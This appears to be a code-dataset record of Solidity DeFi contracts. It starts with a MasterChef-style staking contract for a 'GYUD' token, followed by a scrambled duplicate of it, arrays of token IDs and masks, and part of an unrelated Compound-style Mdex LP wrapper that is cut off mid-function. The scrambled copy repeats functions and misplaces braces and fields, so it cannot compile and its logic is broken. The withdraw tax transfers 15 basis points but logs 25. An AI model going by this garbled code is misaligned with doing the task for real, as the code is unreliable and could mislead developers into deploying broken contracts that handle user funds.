is pending to be distributed is: // // pending reward = (user.amount * pool.accGyudonPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accGyudonPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. GYUDs to distribute per block. uint256 lastRewardBlock; // Last block number that GYUDs distribution occurs. uint256 accGyudonPerShare; // Accumulated GYUDs per share, times 1e12. See below. bool taxable; // Accumulated GYUDs per share, times 1e12. See below. } // The GYUD TOKEN GyudonToken public gyudon; address private devaddr; // Block number when bonus GYUD period ends. uint256 public bonusEndBlock; // GYUD tokens created per block. uint256 public gyudonPerBlock; // Bonus muliplier for early gyudon makers. uint256 public constant BONUS_MULTIPLIER = 1; // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorChef public migrator; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when GYUD mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( GyudonToken _gyudon, address _devaddr, uint256 _gyudonPerBlock, uint256 _startBlock, uint256 _bonusEndBlock ) public { gyudon = _gyudon; devaddr = _devaddr; gyudonPerBlock = _gyudonPerBlock; bonusEndBlock = _bonusEndBlock; startBlock = _startBlock; } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate, bool _taxable, uint256 _startBlock) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = _startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accGyudonPerShare: 0, taxable: _taxable })); } // Update the given pool's GYUD allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate, bool _taxable, uint256 _startBlock) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; poolInfo[_pid].taxable = _taxable; poolInfo[_pid].lastRewardBlock = _startBlock; } function setBonusEndBlock(uint256 _bonusEndBlock) public onlyOwner { bonusEndBlock = _bonusEndBlock; } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { if (_to <= bonusEndBlock) { return _to.sub(_from).mul(BONUS_MULTIPLIER); } else if (_from >= bonusEndBlock) { return _to.sub(_from); } else { return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add( _to.sub(bonusEndBlock) ); } } // View function to see pending GYUDs on frontend. function pendingGyudon(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accGyudonPerShare = pool.accGyudonPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 gyudonReward = multiplier.mul(gyudonPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accGyudonPerShare = accGyudonPerShare.add(gyudonReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accGyudonPerShare).div(1e12).sub(user.rewardDebt); } // Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 gyudonReward = multiplier.mul(gyudonPerBlock).mul(pool.allocPoint).div(totalAllocPoint); gyudon.mint(address(this), gyudonReward); pool.accGyudonPerShare = pool.accGyudonPerShare.add(gyudonReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to GyudonChef for GYUD allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accGyudonPerShare).div(1e12).sub(user.rewardDebt); safeGyudonTransfer(msg.sender, pending); } pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accGyudonPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from GyudonChef. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accGyudonPerShare).div(1e12).sub(user.rewardDebt); safeGyudonTransfer(msg.sender, pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accGyudonPerShare).div(1e12); if (pool.taxable) { pool.lpToken.safeTransfer(address(devaddr), _amount.mul(15).div(10000)); pool.lpToken.safeTransfer(address(msg.sender), _amount.sub(_amount.mul(15).div(10000))); emit Withdraw(devaddr, _pid, _amount.mul(25).div(10000)); emit Withdraw(msg.sender, _pid, _amount.sub(_amount.mul(25).div(10000))); } else { pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // Safe gyudon transfer function, just in case if rounding error causes pool to not have enough GYUDs. function safeGyudonTransfer(address _to, uint256 _amount) internal { uint256 gyudonBal = gyudon.balanceOf(address(this)); if (_amount > gyudonBal) { gyudon.transfer(_to, gyudonBal); } else { gyudon.transfer(_to, _amount); } } }
GyudonChef is the master of Gyudon. He can make Gyudon and he is a fair guy. Note that it's ownable and the owner wields tremendous power. The ownership will be transferred to a governance smart contract once GYUD is sufficiently distributed and the community can show to govern itself. Have fun reading it. Hopefully it's bug-free. God bless. Info of each user.
contract GyudonChef is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; struct UserInfo { } struct PoolInfo { } address private devaddr; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( GyudonToken _gyudon, address _devaddr, uint256 _gyudonPerBlock, uint256 _startBlock, uint256 _bonusEndBlock GyudonToken public gyudon; uint256 public bonusEndBlock; uint256 public gyudonPerBlock; uint256 public constant BONUS_MULTIPLIER = 1; IMigratorChef public migrator; PoolInfo[] public poolInfo; mapping (uint256 => mapping (address => UserInfo)) public userInfo; uint256 public totalAllocPoint = 0; uint256 public startBlock; ) public { gyudon = _gyudon; devaddr = _devaddr; gyudonPerBlock = _gyudonPerBlock; bonusEndBlock = _bonusEndBlock; startBlock = _startBlock; } function poolLength() external view returns (uint256) { return poolInfo.length; } function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate, bool _taxable, uint256 _startBlock) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = _startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accGyudonPerShare: 0, taxable: _taxable })); } function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate, bool _taxable, uint256 _startBlock) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = _startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accGyudonPerShare: 0, taxable: _taxable })); } function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate, bool _taxable, uint256 _startBlock) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = _startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accGyudonPerShare: 0, taxable: _taxable })); } function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate, bool _taxable, uint256 _startBlock) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; poolInfo[_pid].taxable = _taxable; poolInfo[_pid].lastRewardBlock = _startBlock; } function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate, bool _taxable, uint256 _startBlock) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; poolInfo[_pid].taxable = _taxable; poolInfo[_pid].lastRewardBlock = _startBlock; } function setBonusEndBlock(uint256 _bonusEndBlock) public onlyOwner { bonusEndBlock = _bonusEndBlock; } function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { if (_to <= bonusEndBlock) { return _to.sub(_from).mul(BONUS_MULTIPLIER); return _to.sub(_from); return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add( _to.sub(bonusEndBlock) ); } } function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { if (_to <= bonusEndBlock) { return _to.sub(_from).mul(BONUS_MULTIPLIER); return _to.sub(_from); return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add( _to.sub(bonusEndBlock) ); } } } else if (_from >= bonusEndBlock) { } else { function pendingGyudon(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accGyudonPerShare = pool.accGyudonPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 gyudonReward = multiplier.mul(gyudonPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accGyudonPerShare = accGyudonPerShare.add(gyudonReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accGyudonPerShare).div(1e12).sub(user.rewardDebt); } function pendingGyudon(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accGyudonPerShare = pool.accGyudonPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 gyudonReward = multiplier.mul(gyudonPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accGyudonPerShare = accGyudonPerShare.add(gyudonReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accGyudonPerShare).div(1e12).sub(user.rewardDebt); } function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 gyudonReward = multiplier.mul(gyudonPerBlock).mul(pool.allocPoint).div(totalAllocPoint); gyudon.mint(address(this), gyudonReward); pool.accGyudonPerShare = pool.accGyudonPerShare.add(gyudonReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 gyudonReward = multiplier.mul(gyudonPerBlock).mul(pool.allocPoint).div(totalAllocPoint); gyudon.mint(address(this), gyudonReward); pool.accGyudonPerShare = pool.accGyudonPerShare.add(gyudonReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 gyudonReward = multiplier.mul(gyudonPerBlock).mul(pool.allocPoint).div(totalAllocPoint); gyudon.mint(address(this), gyudonReward); pool.accGyudonPerShare = pool.accGyudonPerShare.add(gyudonReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accGyudonPerShare).div(1e12).sub(user.rewardDebt); safeGyudonTransfer(msg.sender, pending); } pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accGyudonPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accGyudonPerShare).div(1e12).sub(user.rewardDebt); safeGyudonTransfer(msg.sender, pending); } pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accGyudonPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accGyudonPerShare).div(1e12).sub(user.rewardDebt); safeGyudonTransfer(msg.sender, pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accGyudonPerShare).div(1e12); if (pool.taxable) { pool.lpToken.safeTransfer(address(devaddr), _amount.mul(15).div(10000)); pool.lpToken.safeTransfer(address(msg.sender), _amount.sub(_amount.mul(15).div(10000))); emit Withdraw(devaddr, _pid, _amount.mul(25).div(10000)); emit Withdraw(msg.sender, _pid, _amount.sub(_amount.mul(25).div(10000))); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } } function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accGyudonPerShare).div(1e12).sub(user.rewardDebt); safeGyudonTransfer(msg.sender, pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accGyudonPerShare).div(1e12); if (pool.taxable) { pool.lpToken.safeTransfer(address(devaddr), _amount.mul(15).div(10000)); pool.lpToken.safeTransfer(address(msg.sender), _amount.sub(_amount.mul(15).div(10000))); emit Withdraw(devaddr, _pid, _amount.mul(25).div(10000)); emit Withdraw(msg.sender, _pid, _amount.sub(_amount.mul(25).div(10000))); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } } } else { function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } function safeGyudonTransfer(address _to, uint256 _amount) internal { uint256 gyudonBal = gyudon.balanceOf(address(this)); if (_amount > gyudonBal) { gyudon.transfer(_to, gyudonBal); gyudon.transfer(_to, _amount); } } function safeGyudonTransfer(address _to, uint256 _amount) internal { uint256 gyudonBal = gyudon.balanceOf(address(this)); if (_amount > gyudonBal) { gyudon.transfer(_to, gyudonBal); gyudon.transfer(_to, _amount); } } } else { }
7,691,239
[ 1, 43, 93, 1100, 265, 39, 580, 74, 353, 326, 4171, 434, 611, 93, 1100, 265, 18, 8264, 848, 1221, 611, 93, 1100, 265, 471, 3904, 353, 279, 284, 1826, 3058, 93, 18, 3609, 716, 518, 1807, 4953, 429, 471, 326, 3410, 341, 491, 87, 268, 2764, 409, 1481, 7212, 18, 1021, 23178, 903, 506, 906, 4193, 358, 279, 314, 1643, 82, 1359, 13706, 6835, 3647, 611, 61, 12587, 353, 18662, 715, 16859, 471, 326, 19833, 848, 2405, 358, 314, 1643, 82, 6174, 18, 21940, 9831, 6453, 518, 18, 670, 1306, 4095, 518, 1807, 7934, 17, 9156, 18, 611, 369, 324, 2656, 18, 3807, 434, 1517, 729, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 611, 93, 1100, 265, 39, 580, 74, 353, 14223, 6914, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 565, 1450, 14060, 654, 39, 3462, 364, 467, 654, 39, 3462, 31, 203, 203, 203, 565, 1958, 25003, 288, 203, 565, 289, 203, 203, 565, 1958, 8828, 966, 288, 203, 565, 289, 203, 203, 203, 565, 1758, 3238, 4461, 4793, 31, 203, 203, 203, 203, 565, 871, 4019, 538, 305, 12, 2867, 8808, 729, 16, 2254, 5034, 8808, 4231, 16, 2254, 5034, 3844, 1769, 203, 565, 871, 3423, 9446, 12, 2867, 8808, 729, 16, 2254, 5034, 8808, 4231, 16, 2254, 5034, 3844, 1769, 203, 565, 871, 512, 6592, 75, 2075, 1190, 9446, 12, 2867, 8808, 729, 16, 2254, 5034, 8808, 4231, 16, 2254, 5034, 3844, 1769, 203, 203, 565, 3885, 12, 203, 3639, 611, 93, 1100, 265, 1345, 389, 7797, 1100, 265, 16, 203, 3639, 1758, 389, 5206, 4793, 16, 203, 3639, 2254, 5034, 389, 7797, 1100, 265, 2173, 1768, 16, 203, 3639, 2254, 5034, 389, 1937, 1768, 16, 203, 3639, 2254, 5034, 389, 18688, 407, 1638, 1768, 203, 565, 611, 93, 1100, 265, 1345, 1071, 25295, 1100, 265, 31, 203, 565, 2254, 5034, 1071, 324, 22889, 1638, 1768, 31, 203, 565, 2254, 5034, 1071, 25295, 1100, 265, 2173, 1768, 31, 203, 565, 2254, 5034, 1071, 5381, 605, 673, 3378, 67, 24683, 2053, 654, 273, 404, 31, 203, 565, 6246, 2757, 639, 39, 580, 74, 1071, 30188, 31, 203, 565, 8828, 966, 8526, 1071, 2845, 966, 31, 203, 565, 2874, 261, 11890, 2 ]
pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; import "./compound/CErc20Delegate.sol"; import "./compound/EIP20Interface.sol"; import "./Qstroller.sol"; interface HecoPool { struct PoolInfo { address lpToken; } struct UserInfo { uint256 amount; } function deposit(uint256, uint256) external; function withdraw(uint256, uint256) external; function mdx() view external returns (address); function poolInfo(uint256) view external returns (PoolInfo memory); function userInfo(uint256, address) view external returns (UserInfo memory); function pending(uint256, address) external view returns (uint256); } /** * @title Mdex LP Contract * @notice CToken which wraps Mdex's LP token */ contract QsMdxLPDelegate is CErc20Delegate { /** * @notice HecoPool address */ address public hecoPool; /** * @notice MDX token address */ address public mdx; /** * @notice Pool ID of this LP in HecoPool */ uint public pid; /** * @notice fMdx address */ address public fMdx; /** * @notice Comp address */ address public comp; /** * @notice Container for rewards state * @member balance The balance of fMdx * @member index The last updated fMdx index * @member compBalance The balance of comp * @member compIndex The last updated comp index */ struct RewardState { uint balance; uint index; uint compBalance; uint compIndex; } /** * @notice The state of LP supply */ RewardState public lpSupplyState; /** * @notice The index of every LP supplier */ mapping(address => uint) public lpSupplierIndex; /** * @notice The fMdx amount of every user */ mapping(address => uint) public fTokenUserAccrued; /** * @notice The index of every comp supplier */ mapping(address => uint) public compSupplierIndex; /** * @notice The comp amount of every user */ mapping(address => uint) public compUserAccrued; /** * @notice Delegate interface to become the implementation * @param data The encoded arguments for becoming */ function _becomeImplementation(bytes memory data) public { super._becomeImplementation(data); (address hecoPoolAddress_, address fMdxAddress_, uint pid_) = abi.decode(data, (address, address, uint)); hecoPool = hecoPoolAddress_; mdx = HecoPool(hecoPool).mdx(); fMdx = fMdxAddress_; comp = Qstroller(address(comptroller)).getCompAddress(); HecoPool.PoolInfo memory poolInfo = HecoPool(hecoPool).poolInfo(pid_); require(poolInfo.lpToken == underlying, "mismatch underlying"); pid = pid_; // Approve moving our LP into the heco pool contract. EIP20Interface(underlying).approve(hecoPoolAddress_, uint(-1)); // Approve moving mdx rewards into the fMdx contract. EIP20Interface(mdx).approve(fMdxAddress_, uint(-1)); } /** * @notice Manually claim rewards by user * @return The amount of fMdx rewards user claims */ function claimMdx(address account) public returns (uint) { claimAndStakeMdx(); updateLPSupplyIndex(); updateSupplierIndex(account); // Get user's fMdx accrued. uint fTokenBalance = fTokenUserAccrued[account]; if (fTokenBalance > 0) { uint err = CErc20(fMdx).redeem(fTokenBalance); require(err == 0, "redeem fmdx failed"); lpSupplyState.balance = sub_(lpSupplyState.balance, fTokenBalance); // Clear user's fMdx accrued. fTokenUserAccrued[account] = 0; EIP20Interface(mdx).transfer(account, mdxBalance()); } // Get user's comp accrued. uint compBalance = compUserAccrued[account]; if (compBalance > 0) { lpSupplyState.compBalance = sub_(lpSupplyState.compBalance, compBalance); // Clear user's comp accrued. compUserAccrued[account] = 0; EIP20Interface(comp).transfer(account, compBalance); } return fTokenBalance; } /*** CErc20 Overrides ***/ /** * lp token does not borrow. */ function borrow(uint borrowAmount) external returns (uint) { borrowAmount; require(false, "lptoken prohibits borrowing"); } /** * lp token does not repayBorrow. */ function repayBorrow(uint repayAmount) external returns (uint) { repayAmount; require(false, "lptoken prohibits repay"); } function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint) { borrower;repayAmount; require(false, "lptoken prohibits repayBorrowBehalf"); } function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external returns (uint) { borrower;repayAmount;cTokenCollateral; require(false, "lptoken prohibits liquidate"); } /*** CToken Overrides ***/ /** * @notice Transfer `tokens` tokens from `src` to `dst` by `spender` * @param spender The address of the account performing the transfer * @param src The address of the source account * @param dst The address of the destination account * @param tokens The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferTokens(address spender, address src, address dst, uint tokens) internal returns (uint) { claimAndStakeMdx(); updateLPSupplyIndex(); updateSupplierIndex(src); updateSupplierIndex(dst); return super.transferTokens(spender, src, dst, tokens); } /*** Safe Token ***/ /** * @notice Gets balance of this contract in terms of the underlying * @return The quantity of underlying tokens owned by this contract */ function getCashPrior() internal view returns (uint) { HecoPool.UserInfo memory userInfo = HecoPool(hecoPool).userInfo(pid, address(this)); return userInfo.amount; } /** * @notice Transfer the underlying to this contract and sweep into master chef * @param from Address to transfer funds from * @param amount Amount of underlying to transfer * @return The actual amount that is transferred */ function doTransferIn(address from, uint amount) internal returns (uint) { // Perform the EIP-20 transfer in EIP20Interface token = EIP20Interface(underlying); require(token.transferFrom(from, address(this), amount), "unexpected EIP-20 transfer in return"); // Deposit to HecoPool. HecoPool(hecoPool).deposit(pid, amount); if (mdxBalance() > 0) { // Send mdx rewards to fMdx. CErc20(fMdx).mint(mdxBalance()); } harvestComp(); updateLPSupplyIndex(); updateSupplierIndex(from); return amount; } /** * @notice Transfer the underlying from this contract, after sweeping out of master chef * @param to Address to transfer funds to * @param amount Amount of underlying to transfer */ function doTransferOut(address payable to, uint amount) internal { // Withdraw the underlying tokens from HecoPool. HecoPool(hecoPool).withdraw(pid, amount); EIP20Interface token = EIP20Interface(underlying); require(token.transfer(to, amount), "unexpected EIP-20 transfer out return"); } function seizeInternal(address seizerToken, address liquidator, address borrower, uint seizeTokens) internal returns (uint) { claimAndStakeMdx(); updateLPSupplyIndex(); updateSupplierIndex(liquidator); updateSupplierIndex(borrower); address safetyVault = Qstroller(address(comptroller)).qsConfig().safetyVault(); updateSupplierIndex(safetyVault); return super.seizeInternal(seizerToken, liquidator, borrower, seizeTokens); } /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeem(uint redeemTokens) external returns (uint) { // claim user's reward first claimMdx(msg.sender); return redeemInternal(redeemTokens); } /** * @notice Sender redeems cTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to redeem * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlying(uint redeemAmount) external returns (uint) { // claim user's reward first claimMdx(msg.sender); return redeemUnderlyingInternal(redeemAmount); } /*** Internal functions ***/ function claimAndStakeMdx() internal { // Deposit 0 LP into HecoPool to claim mdx rewards. HecoPool(hecoPool).deposit(pid, 0); if (mdxBalance() > 0) { // Send mdx rewards to mdx pool. CErc20(fMdx).mint(mdxBalance()); } harvestComp(); } function harvestComp() internal { address[] memory holders = new address[](1); holders[0] = address(this); CToken[] memory cTokens = new CToken[](1); cTokens[0] = CToken(fMdx); // MdexLP contract will never borrow assets from Compound. Qstroller(address(comptroller)).claimComp(holders, cTokens, false, true); } function updateLPSupplyIndex() internal { uint fTokenBalance = fTokenBalance(); uint fTokenAccrued = sub_(fTokenBalance, lpSupplyState.balance); uint supplyTokens = CToken(address(this)).totalSupply(); Double memory ratio = supplyTokens > 0 ? fraction(fTokenAccrued, supplyTokens) : Double({mantissa: 0}); Double memory index = add_(Double({mantissa: lpSupplyState.index}), ratio); uint compBalance = compBalance(); uint compAccrued = sub_(compBalance, lpSupplyState.compBalance); Double memory compRatio = supplyTokens > 0 ? fraction(compAccrued, supplyTokens) : Double({mantissa: 0}); Double memory compIndex = add_(Double({mantissa: lpSupplyState.compIndex}), compRatio); // Update lpSupplyState. lpSupplyState.index = index.mantissa; lpSupplyState.balance = fTokenBalance; lpSupplyState.compIndex = compIndex.mantissa; lpSupplyState.compBalance = compBalance; } function updateSupplierIndex(address supplier) internal { Double memory supplyIndex = Double({mantissa: lpSupplyState.index}); Double memory supplierIndex = Double({mantissa: lpSupplierIndex[supplier]}); Double memory deltaIndex = 